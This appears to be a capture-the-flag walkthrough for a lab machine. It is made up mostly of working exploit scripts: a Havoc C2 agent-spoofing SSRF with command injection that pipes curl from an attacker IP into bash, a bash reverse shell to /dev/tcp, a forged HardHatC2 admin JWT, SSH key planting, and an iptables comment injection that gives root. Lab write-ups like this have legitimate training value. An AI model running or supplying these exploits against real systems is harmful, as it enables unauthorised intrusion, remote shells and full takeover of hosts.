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Scripts#

exploit.py

python

import os
import json
import hashlib
import binascii
import random
import requests
import argparse
import urllib3
from Crypto.Cipher import AES
from Crypto.Util import Counter

urllib3.disable_warnings()

key_bytes = 32

def decrypt(key, iv, ciphertext):
    if len(key) <= key_bytes:
        for _ in range(len(key), key_bytes):
            key += b"0"

    assert len(key) == key_bytes

    iv_int = int(binascii.hexlify(iv), 16)
    ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
    aes = AES.new(key, AES.MODE_CTR, counter=ctr)

    plaintext = aes.decrypt(ciphertext)
    return plaintext

def int_to_bytes(value, length=4, byteorder="big"):
    return value.to_bytes(length, byteorder)

def encrypt(key, iv, plaintext):
    if len(key) <= key_bytes:
        for x in range(len(key), key_bytes):
            key = key + b"0"

        assert len(key) == key_bytes

        iv_int = int(binascii.hexlify(iv), 16)
        ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
        aes = AES.new(key, AES.MODE_CTR, counter=ctr)

        ciphertext = aes.encrypt(plaintext)
        return ciphertext

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data = b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    print(agent_header + header_data)
    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")

def open_socket(socket_id, target_address, target_port):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"
    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"

    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand + socket_id + local_addr + local_port + forward_addr + forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")

def write_socket(socket_id, data):
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand + socket_id + socket_type + success + data_length + data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data
    print(post_data)
    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")

def read_socket(socket_id):
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""

    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]

def create_websocket_request(host, port):
    request = (
        f"GET /havoc/ HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Upgrade: websocket\r\n"
        f"Connection: Upgrade\r\n"
        f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
        f"Sec-WebSocket-Version: 13\r\n"
        f"\r\n"
    ).encode()
    return request

def build_websocket_frame(payload):
    payload_bytes = payload.encode("utf-8")
    frame = bytearray()
    frame.append(0x81)
    payload_length = len(payload_bytes)
    if payload_length <= 125:
        frame.append(0x80 | payload_length)
    elif payload_length <= 65535:
        frame.append(0x80 | 126)
        frame.extend(payload_length.to_bytes(2, byteorder="big"))
    else:
        frame.append(0x80 | 127)
        frame.extend(payload_length.to_bytes(8, byteorder="big"))

    masking_key = os.urandom(4)
    frame.extend(masking_key)
    masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
    frame.extend(masked_payload)

    return frame

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")

args = parser.parse_args()

magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
    "User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))

USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
host = "127.0.0.1"
port = 40056
websocket_request = create_websocket_request(host, port)
write_socket(socket_id, websocket_request)
response = read_socket(socket_id)
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

cmd = "curl http://10.10.16.71:8000/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n    \"Amsi/Etw Patch\": \"None\",\n    \"Indirect Syscall\": false,\n    \"Injection\": {\n        \"Alloc\": \"Native/Syscall\",\n        \"Execute\": \"Native/Syscall\",\n        \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n        \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n    },\n    \"Jitter\": \"0\",\n    \"Proxy Loading\": \"None (LdrLoadDll)\",\n    \"Service Name\":\"" + injection + "\",\n    \"Sleep\": \"2\",\n    \"Sleep Jmp Gadget\": \"None\",\n    \"Sleep Technique\": \"WaitForSingleObjectEx\",\n    \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

payload.sh

bash

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.71/4444 0>&1

exploit2.py

python

# @Author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "pfapostol",
"role": "TeamLead",
"username": "pfapostol"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

User flag#

bash

python3 rce.py --target https://10.10.11.49/ -i 127.0.0.1 -p 40056

bash

python3 -m http.server 8000

At the "payload.sh" directory

bash

nc -lvnp 4444

Root flag#

After get into ilya, extract the id_rsa files in ~/.ssh/

Now, ssh on the ilya user but with some port forwarding :

bash

ssh -i ilya_id_rsa -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000 ilya@10.10.11.49

Go to your web browser and search for https://127.0.0.1:7096

It's HardhatC2 and you are on a login page, execute exploit2.py for add a user 'pfapostol' and log with him

Go to Implantinteract > Terminal

On your machine, create a ssh files with

bash

ssh-keygen -t ed25519 -C "root@exegol-htb"

bash

cat id_ed25519.pub

Then

bash

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAr3gMtup/mtMoCwFoQVe+GNYV95S6MDfcxcMS0ltAbv root@exegol-htb' >> /home/sergej/.ssh/authorized_keys

You can now log with your accounts

bash

ssh -i id_ed25519 sergej@10.10.11.49

Now let's time to privesc !

https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/

I regenerate a new ssh files with ssh-keygen -t ed25519 -C "root@exegol-htb" and execute the exploit :

bash

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG67GYC19Ql4YXKT3NDNrRQg4PHFT/DeAb33GF66u0jt root@exegol-htb\n'

Now i can log with the root accounts :

bash

ssh -i id_ed25519 root@10.10.11.49

Enjoy !

Techniques utilisées#

Exploit HTTP
Bypass Web Authentication